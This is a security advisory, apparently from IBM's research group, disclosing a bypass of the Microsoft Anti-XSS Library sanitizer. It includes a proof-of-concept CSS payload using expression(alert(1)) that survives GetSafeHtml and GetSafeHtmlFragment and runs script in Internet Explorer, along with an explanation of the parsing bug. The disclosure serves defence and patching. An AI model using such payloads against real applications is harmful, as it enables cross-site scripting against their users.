Introduction
-------------
Microsoft Anti-XSS Library is used to protect applications from Cross-Site
Scripting attacks, by providing methods for input sanitization.
Vulnerability
-------------
Microsoft Anti-XSS Library 3.0 and 4.0 are vulnerable to an attack in which an
attacker is able to create a specially formed CSS, that after passing through
the GetSafeHTML or GetSafeHtmlFragment methods, contains an expression that
triggers a JavaScript call in Internet Explorer.
The following ASP.NET code demonstrates the vulnerability:
1. string data =
Microsoft.Security.Application.Sanitizer.GetSafeHtml("<html>a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div></html>");
2. string data =
Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div
style=\"font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'\">aaa</div>");
Explanation
-----------
The string value can be broken down as follows:
div{
font-family:Foo,Bar\,'a\a';
font-family:';color:expression(alert(1));y'
}
A bug in the Anti-XSS library causes the closing apostrophe in the first CSS
rule to be dropped. Because of the string not being properly terminated,
Internet Explorer now renders this CSS in a different way, which triggers a
javascript call:
div{
font-family:Foo,Bar\,'a\a;font-family:';
color:expression(alert(1));
y'
}
Impact
------
Every application that relies on either GetSafeHTML or GetSafeHtmlFragment to
sanitize user supplied data is vulnerable to XSS.
References
----------
http://www.securityfocus.com/bid/51291
http://technet.microsoft.com/en-us/security/bulletin/ms12-007
http://blog.watchfire.com/wfblog/2012/01/microsoft-anti-xss-library-bypass.html
Adi Cohen <[email protected]>
IBM Security Systems - Security Research Group
